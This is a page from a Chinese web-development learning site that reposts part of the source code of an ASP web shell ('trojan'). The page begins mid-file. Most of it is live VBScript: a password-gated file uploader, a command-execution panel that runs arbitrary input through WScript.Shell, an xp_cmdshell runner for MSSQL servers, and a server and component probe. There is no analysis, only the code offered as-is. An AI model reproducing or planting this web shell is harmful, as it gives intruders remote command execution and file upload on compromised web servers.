一个ASP木马程序的源代码_Web开发_学习笔记★闵涛★计算机学习电脑编程软硬件技巧


	转至繁体中文版	\| 网站首页 \| 图文教程 \| 资源下载 \| 站长博客 \| 图片素材 \| 武汉seo \| 武汉网站优化 \|

一个ASP木马程序的源代码

作者：闵涛文章来源：闵涛的学习笔记点击数：3114 更新时间：2009/4/23 10:28:08

rib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.CreateFolder whichdir
Response.write "＜script＞alert('建立的目录为:" & whichdir & "建立成功！要刷新才能看到效果');window.close();＜/script＞"
end if
end if
else
response.write "Password Error!"
response.write "＜a href='" & rseb & "?q=" & rseb & "'＞【返回】＜/a＞"
end if
%＞
＜/body＞
＜/html＞
＜%
case "upfile.asp"
if Request.Cookies("password")="7758521" then
set upload=new upload_5xSoft
if upload.form("filepath")="" then
HtmEnd "请输入要上传至的目录!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)＜＞"/" then formPath=formPath&"/"
end if

iCount=0
for each formName in upload.objForm
set file=upload.file(formName)
if file.FileSize＞0 then
file.SaveAs formPath & file.FileName
response.write file.FilePath&file.FileName&" ("&file.FileSize&") =＞ "&formPath&File.FileName&" 成功!＜br＞"
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
Htmend iCount&" 个文件上传结束!"

sub HtmEnd(Msg)
set upload=nothing
Response.write "上传完毕！要刷新才能看到效果！＜P＞＜input value=关闭 type=button onclick=window.close();＞"
response.end
end sub
else
response.write "Password Error!"
response.write "＜a href='" & rseb & "?q=" & rseb & "'＞【返回】＜/a＞"
end if

case "cmd.asp"

if Request.Cookies("password")＜＞"7758521" then
response.write "Password Error!"
response.write "＜a href='" & rseb & "?q=" & rseb & "'＞【返回】＜/a＞"
else%＞
＜title＞ASP Shell＜/title＞
＜object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"＞＜/object＞
＜object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"＞＜/object＞
＜object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"＞＜/object＞
＜%
On Error Resume Next
szCMD = Request.Form(".CMD")
If (szCMD ＜＞ "") Then
szTempFile = "C:\winnt\help\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd /c " & szCMD & " ＞ " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%＞
＜HTML＞
＜BODY＞
＜FORM action="＜%=rseb%＞?q=cmd.asp" method="POST"＞
＜input type=text name=".CMD" size=45 value="＜%= szCMD %＞"＞
＜input type=submit value="执行命令"＞
＜/FORM＞
＜PRE＞
＜%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%＞
＜/BODY＞
＜/HTML＞
＜%end if
case "sql.asp"
if Request.Cookies("password")＜＞"7758521" then
response.write "Password Error!"
response.write "＜a href='" & rseb & "?q=" & rseb & "'＞【返回】＜/a＞"
else
If trim(request.form("sqlcmd"))＜＞"" Then
password= trim(Request.form("pa"))
id=trim(Request.form("id"))
SqlLocalName=trim(Request.form("SqlLocalName"))
if SqlLocalName="" or SqlLocalName="mssql服务器地址" then SqlLocalName="127.0.0.1"
set adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id&";Data Source ="&SqlLocalName
strQuery = "exec master.dbo.xp_cmdshell '" & request.form("sqlcmd") & "'"
set recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0)
recResult.MoveNext
Loop
End if
set recResult = Nothing
strResult = Replace(strResult," "," ")
strResult = Replace(strResult,"＜","＜")
strResult = Replace(strResult,"＞","＞")
strResult = Replace(strResult,chr(13),"＜br＞")
End if
set adoConn = Nothing
%＞＜table border=0 width=500 cellspacing=0 cellpadding=0 bgcolor="#B8B8B8"＞
＜tr bgcolor="#EEEEEE" height=18 class="noborder"＞
＜form name="form" method=post action="＜%=rseb%＞?q=sql.asp"＞
＜input type="text" name="sqlcmd" size=70 ＞＜br＞
＜input type="text" name="id" size=10 value="mssql用户名"＞
＜input type="text" name="pa" size=20 value="mssql密码"＞
＜input type="text" name="SqlLocalName" size=20 value="mssql服务器地址"＞
＜input type="submit" value="执行命令"＞
＜/form＞＜/tr＞＜/table＞
＜%
Response.Write request.form("sqlcmd") & "＜br＞＜br＞"
Response.Write strResult
end if
case "test.asp"
Response.Buffer = False
Dim ObjTotest(26,4)
ObjTotest(0,0) = "MSWC.AdRotator"
ObjTotest(1,0) = "MSWC.BrowserType"
ObjTotest(2,0) = "MSWC.NextLink"
ObjTotest(3,0) = "MSWC.Tools"
ObjTotest(4,0) = "MSWC.Status"
ObjTotest(5,0) = "MSWC.Counters"
ObjTotest(6,0) = "IISSample.ContentRotator"
ObjTotest(7,0) = "IISSample.PageCounter"
ObjTotest(8,0) = "MSWC.PermissionChecker"
ObjTotest(9,0) = "Script"+"ing.File"+"Syst"+"emObject"
ObjTotest(9,1) = "(FSO 文本文件读写)"
ObjTotest(10,0) = "adodb.connection"
ObjTotest(10,1) = "(ADO 数据对象)"

ObjTotest(11,0) = "SoftArtisans.FileUp"
ObjTotest(11,1) = "(SA-FileUp 文件上传)"
ObjTotest(12,0) = "SoftArtisans.FileManager"
ObjTotest(12,1) = "(SoftArtisans 文件管理)"
ObjTotest(13,0) = "LyfUpload.UploadFile"
ObjTotest(13,1) = "(刘云峰的文件上传组件)"
ObjTotest(14,0) = "Persits.Upload.1"
ObjTotest(14,1) = "(ASPUpload 文件上传)"
ObjTotest(15,0) = "w3.upload"
ObjTotest(15,1) = "(Dimac 文件上传)"

ObjTotest(16,0) = "JMail.SmtpMail"
ObjTotest(16,1) = "(Dimac JMail 邮件收发)"
ObjTotest(17,0) = "CDONTS.NewMail"
ObjTotest(17,1) = "(虚拟 SMTP 发信)"
ObjTotest(18,0) = "Persits.MailSender"
ObjTotest(18,1) = "(ASPemail 发信)"
ObjTotest(19,0) = "SMTPsvg.Mailer"
ObjTotest(19,1) = "(ASPmail 发信)"
ObjTotest(20,0) = "DkQmail.Qmail"
ObjTotest(20,1) = "(dkQmail 发信)"
ObjTotest(21,0) = "Geocel.Mailer"
ObjTotest(21,1) = "(Geocel 发信)"
ObjTotest(22,0) = "IISmail.Iismail.1"
ObjTotest(22,1) = "(IISmail 发信)"
ObjTotest(23,0) = "SmtpMail.SmtpMail.1"
ObjTotest(23,1) = "(SmtpMail 发信)"

ObjTotest(24,0) = "SoftArtisans.ImageGen"
ObjTotest(24,1) = "(SA 的图像读写组件)"
ObjTotest(25,0) = "W3Image.Image"
ObjTotest(25,1) = "(Dimac 的图像读写组件)"

public IsObj,VerObj,TestObj
dim i
for i=0 to 25
on error resume next
IsObj=false
VerObj=""
'dim TestObj
TestObj=""
set TestObj=server.CreateObject(ObjTotest(i,0))
If -2147221005 ＜＞ Err then
IsObj = True
VerObj = TestObj.version
if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
ObjTotest(i,2)=IsObj
ObjTotest(i,3)=VerObj
next
sub ObjTest(strObj)
on error resume next
IsObj=false
VerObj=""
TestObj=""
set TestObj=server.CreateObject (strObj)
If -2147221005 ＜＞ Err then
IsObj = True
VerObj = TestObj.version
if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
End sub
%＞
＜HTML＞
＜HEAD＞
＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞
＜TITLE＞ASP探针V1.60－阿江＜a href='http://www.ajiang.net＜/TITLE＞' target=_blank＞http://www.ajiang.net＜/TITLE＞＜/a＞
＜style＞
＜!--
BODY
{
FONT-FAMILY: 宋体;
FONT-SIZE: 9pt
}
TD
{
FONT-SIZE: 9pt
}
A
{
COLOR: #000000;
TEXT-DECORATION: none
}
A:hover
{
COLOR: #3F8805;
TEXT-DECORATION: underline
}
.input
{
BORDER: #111111 1px solid;
FONT-SIZE: 9pt;
BACKGROUND-color: #F8FFF0
}
.backs
{
BACKGROUND-COLOR: #3F8805;
COLOR: #ffffff;

}
.backq
{
BACKGROUND-COLOR: #EEFEE0
}
.backc
{
BACKGROUND-COLOR: #3F8805;
BORDER: medium none;
COLOR: #ffffff;
HEIGHT: 18px;
font-size: 9pt
}
.fonts
{
COLOR: #3F8805
}
--＞
＜/STYLE＞
＜/HEAD＞
＜BODY＞
＜a href="mailto:info@ajiang.net"＞阿江＜/a＞改写的ASP探针-＜font class=fonts＞V1.60＜/font＞＜br＞＜br＞
＜font class=fonts＞是否支持ASP＜/font＞
＜br＞出现以下情况即表示您的空间不支持ASP：
＜br＞1、访问本文件时提示下载。
＜br＞2、访问本文件时看到类似“＜%@ Language="VBScript" %＞”的文字。
＜br＞＜br＞

＜font class=fonts＞服务器的有关参数＜/font＞
＜table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805"＞
＜tr＞＜td＞

＜table border=0 width=450 cellspacing=1 cellpadding=0＞
＜tr bgcolor="#EEFEE0" height=18＞
＜td align=left＞服务器名＜/td＞＜td＞＜%=Request.ServerVariables("SERVER_NAME")%＞＜/td＞
＜/tr＞
＜tr bgcolor="#EEFEE0" height=18＞
＜td align=left＞服务器IP＜/td＞＜td＞＜%=Request.ServerVariables("LOCAL_ADDR")%＞＜/td＞
＜/tr＞
＜tr bgcolor="#EEFEE0" height=18＞
＜td align=left＞服务器端口＜/td＞＜td＞＜%=Request.ServerVariables("SERVER_PORT")%＞＜/td＞
＜/tr＞
＜tr bgcolor="#EEFEE0" height=18＞
＜td align=left＞服务器时间＜/td＞＜td＞＜%=now%＞＜/td＞
＜/tr＞
＜tr bgcolor="#EEFEE0" height=18＞
＜td align=left＞ IIS版本＜/td＞＜td＞＜%=Request.ServerVariables("SERVER_SOFTWARE")%＞＜/td＞
＜/tr＞
＜tr bgcolor="#EEFEE0" height=18＞
＜td align=left＞脚本超时时间＜/td＞＜td＞＜%=Server.ScriptTimeout%＞秒＜/td＞
＜/tr＞
＜tr bgcolor="#EEFEE0" height=18＞
＜td align=left＞本文件路径＜/td＞＜td＞＜%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%＞＜/td＞
＜/tr＞
＜tr bgcolor="#EEFEE0" height=18＞
＜td align=left＞服务器CPU数量＜/td＞＜td＞＜%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%＞个＜/td＞
＜/tr＞
＜tr bgcolor="#EEFEE0" height=18＞
＜td align=left＞服务器解译引擎＜/td＞＜td＞＜%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %＞＜/td＞
＜/tr＞
＜tr bgcolor="#EEFEE0" height=18＞
＜td align=left＞服务器操作系统＜/td＞＜td＞＜%=Request.ServerVariables("OS")%＞＜/td＞
＜/tr＞
＜/table＞

＜/td＞＜/tr＞
＜/table＞
＜br＞
＜font class=fonts＞组件支持情况＜/font＞
＜%
Dim strClass
strClass = Trim(Request.Form("classname"))
If "" ＜＞ strClass then
Response.Write "＜br＞您指定的组件的检查结果："
Dim Verobj1
ObjTest(strClass)
If Not IsObj then
Response.Write "＜br＞＜font color=red＞很遗憾，该服务器不支持 " & strclass &

上一页 [1] [2] [3] [4] [5] 下一页

没有相关教程

教程录入：mintao 责任编辑：mintao

上一篇教程： IIS服务器排错指南及错误代码大全

下一篇教程：防范ASP木马的十大基本原则

【字体：小大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网]

　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）

同类栏目

· Web开发  · 网页制作
· 平面设计  · 网站运营
· 网站推广  · 搜索优化
· 建站心得  · 站长故事
· 互联动态

热门推荐

没有教程

赞助链接

闵涛博文

500 - 内部服务器错误。

您查找的资源存在问题，因而无法显示。

鄂公网安备 42011102001154号

站长：MinTao ICP备案号：鄂ICP备11006601号-18

闵涛站盟:医药大全-武穴网。A打造B、C、D……